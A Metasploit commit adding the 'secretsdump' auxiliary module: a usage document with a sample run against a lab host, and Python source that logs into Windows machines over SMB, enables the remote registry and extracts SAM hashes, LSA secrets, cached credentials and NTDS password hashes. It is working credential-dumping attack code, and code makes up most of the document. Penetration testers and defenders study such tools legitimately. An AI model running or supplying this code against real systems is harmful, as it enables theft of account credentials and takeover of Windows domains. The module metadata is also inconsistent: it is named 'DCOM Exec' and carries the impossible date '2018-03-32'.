Land #10107, Add the scanner/smb/impacket/secretsdump module

4.x
Jacob Robles 2018-07-06 14:59:33 -05:00 committed by Metasploit
parent a4f0dc5ea2
commit 9dc3e35f23
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
2 changed files with 306 additions and 0 deletions

View File

@ -0,0 +1,48 @@
## Verification Steps
1. Install [Impacket][1] v0.9.17 from GitHub. The `impacket` package must be in
Python's module path, so `import impacket` works from any directory.
1. Install [pycrypto][2] v2.7 (the experimental release). Impacket requires this
specific version.
1. Start msfconsole
1. Do: `use auxiliary/scanner/smb/impacket/secretsdump`
1. Set: `RHOSTS`, `SMBUser`, `SMBPass`
1. Do: `run`, see hashes from the remote machine
## Scenario
```
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > show options
Module options (auxiliary/scanner/smb/impacket/secretsdump):
Name Current Setting Required Description
---- --------------- -------- -----------
ExecMethod smbexec yes The method to use for execution (Accepted: smbexec, wmiexec, mmcexec)
OutputFile no Write the results to a file
RHOSTS 192.168.90.11 yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass wakawaka yes The password for the specified username
SMBUser spencer yes The username to authenticate as
THREADS 1 yes The number of concurrent threads
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > run
[*] [2018.04.04-17:15:45] Running for 192.168.90.11...
[*] [2018.04.04-17:15:45] 192.168.90.11 - Service RemoteRegistry is in stopped state
[*] [2018.04.04-17:15:45] 192.168.90.11 - Service RemoteRegistry is disabled, enabling it
[*] [2018.04.04-17:15:45] 192.168.90.11 - Starting service RemoteRegistry
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for JD
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for Skew1
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for GBG
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for Data
[REDACTED]
[*] [2018.04.04-17:15:48] 192.168.90.11 - Cleaning up...
[*] [2018.04.04-17:15:48] 192.168.90.11 - Stopping service RemoteRegistry
[*] [2018.04.04-17:15:48] 192.168.90.11 - Restoring the disabled state for service RemoteRegistry
[*] [2018.04.04-17:15:48] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
[1]: https://github.com/CoreSecurity/impacket
[2]: https://www.dlitz.net/software/pycrypto/

View File

@ -0,0 +1,258 @@
#!/usr/bin/env python
# Copyright (c) 2003-2018 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import codecs
import logging
import os
import sys
import traceback
try:
from impacket import version
from impacket.examples import logger
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import LocalOperations, \
RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
except ImportError:
dependencies_missing = True
else:
dependencies_missing = False
import _msf_impacket
import metasploit.module as module
metadata = {
'name': 'DCOM Exec',
'description': '''
Performs various techniques to dump hashes from the remote machine
without executing any agent there. For SAM and LSA Secrets (including
cached creds) we try to read as much as we can from the registry and
then we save the hives in the target system (%SYSTEMROOT%\\Temp dir) and
read the rest of the data from there.
''',
'authors': ['Alberto Solino', 'Spencer McIntyre'],
'date': '2018-03-32',
'license': 'CORE_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://github.com/gentilkiwi/kekeo/tree/master/dcsync'},
{'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html'},
{'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html'},
{'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html'},
{'type': 'url', 'ref': 'http://www.quarkslab.com/en-blog+read+13'},
{'type': 'url', 'ref': 'https://code.google.com/p/creddump/'},
{'type': 'url', 'ref': 'http://lab.mediaservice.net/code/cachedump.rb'},
{'type': 'url', 'ref': 'http://insecurety.net/?p=768'},
{'type': 'url', 'ref': 'http://www.beginningtoseethelight.org/ntsecurity/index.htm'},
{'type': 'url', 'ref': 'http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf'},
{'type': 'url', 'ref': 'http://www.passcape.com/index.php?section=blog&cmd=details&id=15'},
{'type': 'url', 'ref': 'https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py'},
{'type': 'aka', 'ref': 'secretsdump.py'},
],
'type': 'single_scanner',
'options': {
'ExecMethod': {'type': 'enum', 'description': 'The method to use for execution', 'required': True, 'default': 'smbexec', 'values': ['smbexec', 'wmiexec', 'mmcexec']},
'OutputFile': {'type': 'string', 'description': 'Write the results to a file', 'required': False},
'SMBDomain': {'type': 'string', 'description': 'The Windows domain to use for authentication', 'required': False, 'default': '.'},
'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': True, 'default': None},
'SMBUser': {'type': 'string', 'description': 'The username to authenticate as', 'required': True, 'default': None},
}
}
class DumpSecrets:
def __init__(self, remoteName, username='', password='', domain='', outputFile=None, execMethod='smbexec'):
self.__useVSSMethod = False
self.__remoteName = remoteName
self.__remoteHost = remoteName
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = None
self.__smbConnection = None
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
self.__systemHive = None
self.__securityHive = None
self.__samHive = None
self.__ntdsFile = None
self.__history = False
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = outputFile
self.__doKerberos = False
self.__justDC = False
self.__justDCNTLM = False
self.__justUser = None
self.__pwdLastSet = False
self.__printUserStatus = False
self.__resumeFileName = None
self.__canProcessSAMLSA = True
self.__kdcHost = None
self.__execMethod = execMethod
def connect(self):
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
try:
if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
self.__isRemote = False
self.__useVSSMethod = True
localOperations = LocalOperations(self.__systemHive)
bootKey = localOperations.getBootKey()
if self.__ntdsFile is not None:
# Let's grab target's configuration about LM Hashes storage
self.__noLMHash = localOperations.checkNoLMHashPolicy()
else:
self.__isRemote = True
bootKey = None
try:
try:
self.connect()
except:
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help')
pass
else:
raise
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
self.__remoteOps.setExecMethod(self.__execMethod)
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception, e:
self.__canProcessSAMLSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__doKerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
else:
logging.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
try:
if self.__isRemote is True:
SAMFileName = self.__remoteOps.saveSAM()
else:
SAMFileName = self.__samHive
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote, perSecretCallback=self.perSecretCallback1)
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
except Exception, e:
logging.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__isRemote is True:
SECURITYFileName = self.__remoteOps.saveSECURITY()
else:
SECURITYFileName = self.__securityHive
self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
isRemote=self.__isRemote, history=self.__history,
perSecretCallback=self.perSecretCallback2)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
if self.__outputFileName is not None:
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception, e:
logging.error('LSA hashes extraction failed: %s' % str(e), exc_info=True)
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if self.__isRemote is True:
if self.__useVSSMethod and self.__remoteOps is not None:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
else:
NTDSFileName = self.__ntdsFile
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName, justUser=self.__justUser,
printUserStatus=self.__printUserStatus, perSecretCallback=self.perSecretCallback2)
try:
self.__NTDSHashes.dump()
except Exception, e:
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
logging.error(e, exc_info=True)
if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
logging.info("You just got that error because there might be some duplicates of the same name. "
"Try specifying the domain name for the user as well. It is important to specify it "
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
elif self.__useVSSMethod is False:
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt), e:
logging.error(e, exc_info=True)
try:
self.cleanup()
except:
pass
def perSecretCallback1(self, secret):
module.log(secret, 'good')
def perSecretCallback2(self, secretType, secret):
module.log(secret, 'good')
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()
def run(args):
if dependencies_missing:
module.log('Module dependencies (impacket) missing, cannot continue', level='error')
return
_msf_impacket.pre_run_hook(args)
dumper = DumpSecrets(args['rhost'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], args['OutputFile'], args['ExecMethod'])
try:
dumper.dump()
except Exception, e:
logging.error(e, exc_info=True)
if __name__ == "__main__":
module.run(metadata, run)